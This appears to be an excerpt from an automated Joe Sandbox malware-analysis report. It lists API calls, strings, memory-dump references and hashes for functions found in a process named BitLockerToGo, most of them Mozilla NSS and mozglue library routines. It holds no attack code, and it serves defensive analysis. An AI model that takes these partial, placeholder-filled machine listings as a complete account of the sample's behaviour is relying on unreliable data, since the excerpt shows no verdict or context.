Part of subcall function 6C9D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CA20A27), ref: 6C9D9DD1
Part of subcall function 6C9D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C9D9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C938CB0
TlsGetValue.KERNEL32 ref: 6C938CD1
EnterCriticalSection.KERNEL32(?), ref: 6C938CE5
PR_Unlock.NSS3(?), ref: 6C938D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C938D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C938D93

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 6733c4e54765902a508dbaac80329090df874a7ace335826f89db5eaa1649151
Instruction ID: 42b24b91fc9cddb128c8f8ca5b2096001617be176b4ca1ecaf90105ed9e6b0b8
Opcode Fuzzy Hash: 6733c4e54765902a508dbaac80329090df874a7ace335826f89db5eaa1649151
Instruction Fuzzy Hash: FE316871A00221AFDB099F68CC44BAAB7B4BF64318F14113BEA2DA7B50D730E915CBD5

Function 6C932E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C92E728,?,00000038,?,?,00000000), ref: 6C932E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C932E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C932E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C932E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C932E9E
PR_Unlock.NSS3(?), ref: 6C932EAB
PR_Unlock.NSS3(?), ref: 6C932F0D

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 348566ad4b7a6617a95bedcd275eda80feb2c7b7ec92dc2cbf70420f71ab8f84
Instruction ID: 2f429a0a2c1a296b3705bc3432885ba7ea55b78072dbb4948e0ebe1ce501c0eb
Opcode Fuzzy Hash: 348566ad4b7a6617a95bedcd275eda80feb2c7b7ec92dc2cbf70420f71ab8f84
Instruction Fuzzy Hash: 8431F676A00616ABEB00AF28DC45876B778FF6525DB088174ED0C87B12E731DC65C7E0

Function 6C97CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C97CD93,?), ref: 6C97CEEE

Part of subcall function 6C9714C0: TlsGetValue.KERNEL32 ref: 6C9714E0
Part of subcall function 6C9714C0: EnterCriticalSection.KERNEL32 ref: 6C9714F5
Part of subcall function 6C9714C0: PR_Unlock.NSS3 ref: 6C97150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C97CD93,?), ref: 6C97CEFC

Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C9710F3
Part of subcall function 6C9710C0: EnterCriticalSection.KERNEL32(?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97110C
Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971141
Part of subcall function 6C9710C0: PR_Unlock.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971182
Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C97CD93,?), ref: 6C97CF0B

Part of subcall function 6C970840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C9708B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C97CD93,?), ref: 6C97CF1D

Part of subcall function 6C96FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C968D2D,?,00000000,?), ref: 6C96FB85
Part of subcall function 6C96FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C96FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C97CD93,?), ref: 6C97CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C97CD93,?), ref: 6C97CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C97CD93,?,?,?,?,?,?,?,?,?,?,?,6C97CD93,?), ref: 6C97CF78

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 28ae2a478ea12722390467af59fab903a5df94966ef1a1ea1a9a7918cbf3d0ee
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 5911D2A1B022009BEB20AE766C41BABB5EC9F6554DF004039EC0DD7B41FB60DA1886B1

Function 6C8384E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8384F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C83850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C83851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C83855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C83856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8385AC

Part of subcall function 6C837670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C83767F
Part of subcall function 6C837670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C8385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C837693
Part of subcall function 6C837670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C8385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8376A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C8385B2

Part of subcall function 6C815E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C815EDB
Part of subcall function 6C815E90: memset.VCRUNTIME140(6C857765,000000E5,55CCCCCC), ref: 6C815F27
Part of subcall function 6C815E90: LeaveCriticalSection.KERNEL32(?), ref: 6C815FB2

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: c42991278f5d22b7111bed5a6900337b673c3d1f89ab641f572ab3ff63caf7af
Instruction ID: cb88dd8be3e2657bfeae855c7db0da3eea8394fbd9c70964a1e30287ac8b5d9d
Opcode Fuzzy Hash: c42991278f5d22b7111bed5a6900337b673c3d1f89ab641f572ab3ff63caf7af
Instruction Fuzzy Hash: D5218B742016118FDB25DB68C988A5AB7B5AF8430CF245C2EE55FC3B41EB35E948CBE1

Function 6C928C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C928C1B
EnterCriticalSection.KERNEL32 ref: 6C928C34
PL_ArenaAllocate.NSS3 ref: 6C928C65
PR_Unlock.NSS3 ref: 6C928C9C
PR_Unlock.NSS3 ref: 6C928CB6

Part of subcall function 6C9BDD70: TlsGetValue.KERNEL32 ref: 6C9BDD8C
Part of subcall function 6C9BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C9BDDB4

Strings

KRAM, xrefs: 6C928C8F

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: c6aeca87de2ac4dc2bd189ecf4527a948689a8b421a472ea2cd85e8238ccabf1
Instruction ID: d56b621d6b6584c5a9aa95d884a77b0a4ed8f2f12c649bbfadd41f659cd475d8
Opcode Fuzzy Hash: c6aeca87de2ac4dc2bd189ecf4527a948689a8b421a472ea2cd85e8238ccabf1
Instruction Fuzzy Hash: DF217EB26156118FD704EF38C484569BBF4FF55308F05896ED8C88B705EB39D886CB95

Function 6C83F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C82CBE8: GetCurrentProcess.KERNEL32(?,6C7F31A7), ref: 6C82CBF1
Part of subcall function 6C82CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7F31A7), ref: 6C82CBFA

Part of subcall function 6C839420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C804A68), ref: 6C83945E
Part of subcall function 6C839420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C839470
Part of subcall function 6C839420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C839482
Part of subcall function 6C839420: __Init_thread_footer.LIBCMT ref: 6C83949F

GetCurrentThreadId.KERNEL32 ref: 6C83F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C83F598), ref: 6C83F621

Part of subcall function 6C8394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8394EE
Part of subcall function 6C8394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C839508

GetCurrentThreadId.KERNEL32 ref: 6C83F637
AcquireSRWLockExclusive.KERNEL32(6C87F4B8,?,?,00000000,?,6C83F598), ref: 6C83F645
ReleaseSRWLockExclusive.KERNEL32(6C87F4B8,?,?,00000000,?,6C83F598), ref: 6C83F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C83F62A

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: fa8a5c2291dcb4557209bad9a18f0503314755c4bfb9736a93a5018ba772c69b
Instruction ID: d9272e087cf0b330c5065a70e5be89644a2a9b4ca6c3aca6e4242c849ea964a3
Opcode Fuzzy Hash: fa8a5c2291dcb4557209bad9a18f0503314755c4bfb9736a93a5018ba772c69b
Instruction Fuzzy Hash: FF11C871204124ABCB30AF59C64C9AA7779FB9635CB502875EA0983F01EB71AC25CBF0

Function 6CA22C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CA22CA0
PR_ExitMonitor.NSS3 ref: 6CA22CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CA22CD1
strdup.MOZGLUE(?), ref: 6CA22CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CA22D27

Strings

Loaded library %s (static lib), xrefs: 6CA22D22

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 04440f78faec74f62a8bb41a8bd7379a42fde43b8c70a43e3c00db15bc380aa1
Instruction ID: 12204d2837d1120dca2d66af6cf6eb84a8d483c9b46e8d1e1a92c65e50408963
Opcode Fuzzy Hash: 04440f78faec74f62a8bb41a8bd7379a42fde43b8c70a43e3c00db15bc380aa1
Instruction Fuzzy Hash: B91100B86103219FEB099F15D808AA637B5AB5532DF1CC23DD80987B01D735E88ACBB1

Function 6C8305F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C82CFAE,?,?,?,6C7F31A7), ref: 6C8305FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C82CFAE,?,?,?,6C7F31A7), ref: 6C830616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C7F31A7), ref: 6C83061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C7F31A7), ref: 6C830627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C83061B, 6C830625
<jemalloc>, xrefs: 6C8305FA, 6C83060F

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 9a61f7fb5c1a929388e1e4f7ce94759324b66fc006a3e6319a79e54543122310
Instruction ID: 94d12b8f73fd4d4bb86b10fa4844cd085973701bd829fc669bb6d22d840c8f3f
Opcode Fuzzy Hash: 9a61f7fb5c1a929388e1e4f7ce94759324b66fc006a3e6319a79e54543122310
Instruction Fuzzy Hash: 03E08CE2A0116037F924225AAC8ADBB761CDBC6538F080039FD0D83702E94AAD1A91F6

Function 6C9B2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9B3046

Part of subcall function 6C99EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C99EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C987FFB), ref: 6C9B312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9B3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9B2E8B

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

Part of subcall function 6C99F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C989BFF,?,00000000,00000000), ref: 6C99F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C987FFA), ref: 6C9B2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B317B

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: c12935bd56b0d1f9145a298826d3c9d22ae93ca363f0edba0c28a16d8bc8da1b
Instruction ID: 0fea932e75736b302cfa87e38c938bbb501bb9b7ad66b2444bd303834f47e4f9
Opcode Fuzzy Hash: c12935bd56b0d1f9145a298826d3c9d22ae93ca363f0edba0c28a16d8bc8da1b
Instruction Fuzzy Hash: 17A19A71A00218AFDB24CF54CC84BEBB7B9EF49308F148199E9496B741E731AE95CF91

Function 6C97ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C97ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C97EDCE

Part of subcall function 6C970BE0: malloc.MOZGLUE(6C968D2D,?,00000000,?), ref: 6C970BF8
Part of subcall function 6C970BE0: TlsGetValue.KERNEL32(6C968D2D,?,00000000,?), ref: 6C970C15

free.MOZGLUE(00000000,?,?,?,?,6C97B04F), ref: 6C97EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C97EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C97EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C97EEFB

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 00b77bfc1901e4b4fa96f4c777dac59e6442ddae21a7aaf0ee2860eaffe37229
Instruction ID: 436103aa3ff07843aadff0a5395223bbf12119a3a938bf5c4ea4940e6a5b6c8a
Opcode Fuzzy Hash: 00b77bfc1901e4b4fa96f4c777dac59e6442ddae21a7aaf0ee2860eaffe37229
Instruction Fuzzy Hash: D9815CB5A02205DFEB24CF55D984AAB77F9BF89308F144428E8159BB51E730E815CBB1

Function 6C8005F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1cbde3f9955cb05b064817fab9232b45411fc927faaa7f29b102fdaeca37334
Instruction ID: dd07d9f8206687100783fb9317bb7a1bc7cadbd518ce121211e0050354b5e31e
Opcode Fuzzy Hash: e1cbde3f9955cb05b064817fab9232b45411fc927faaa7f29b102fdaeca37334
Instruction Fuzzy Hash: D8A15870A007558FDB24CF29CA94A9DFBF1BF49304F448A6ED44A97B01E730A985CFA0

Function 6C8514A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8514C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8514E2
GetCurrentThreadId.KERNEL32 ref: 6C851546
InitializeConditionVariable.KERNEL32(?), ref: 6C8515BA
free.MOZGLUE(?), ref: 6C8516B4

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 01d329519d87ce10f1aed1e1e9642fdaf6bc69f14b1710f28c81561be63d55a7
Instruction ID: 43418f00c4ae72a2a25a39fd50fcc2839f35beaf23b6862662fc6d8409dec652
Opcode Fuzzy Hash: 01d329519d87ce10f1aed1e1e9642fdaf6bc69f14b1710f28c81561be63d55a7
Instruction Fuzzy Hash: 6761E171A007149BDB218F25C980BDEB7B1BF89308F44892CED8A57701EB70E958CB91

Function 6C97CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C97DAE2,?), ref: 6C97C6C2

PR_Now.NSS3 ref: 6C97CD35

Part of subcall function 6C9D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CA20A27), ref: 6C9D9DC6
Part of subcall function 6C9D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CA20A27), ref: 6C9D9DD1
Part of subcall function 6C9D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C9D9DED

Part of subcall function 6C966C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C911C6F,00000000,00000004,?,?), ref: 6C966C3F

PR_GetCurrentThread.NSS3 ref: 6C97CD54

Part of subcall function 6C9D9BF0: TlsGetValue.KERNEL32(?,?,?,6CA20A75), ref: 6C9D9C07

Part of subcall function 6C967260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C911CCC,00000000,00000000,?,?), ref: 6C96729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C97CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C97CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C97CE2C

Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C9710F3
Part of subcall function 6C9710C0: EnterCriticalSection.KERNEL32(?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97110C
Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971141
Part of subcall function 6C9710C0: PR_Unlock.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971182
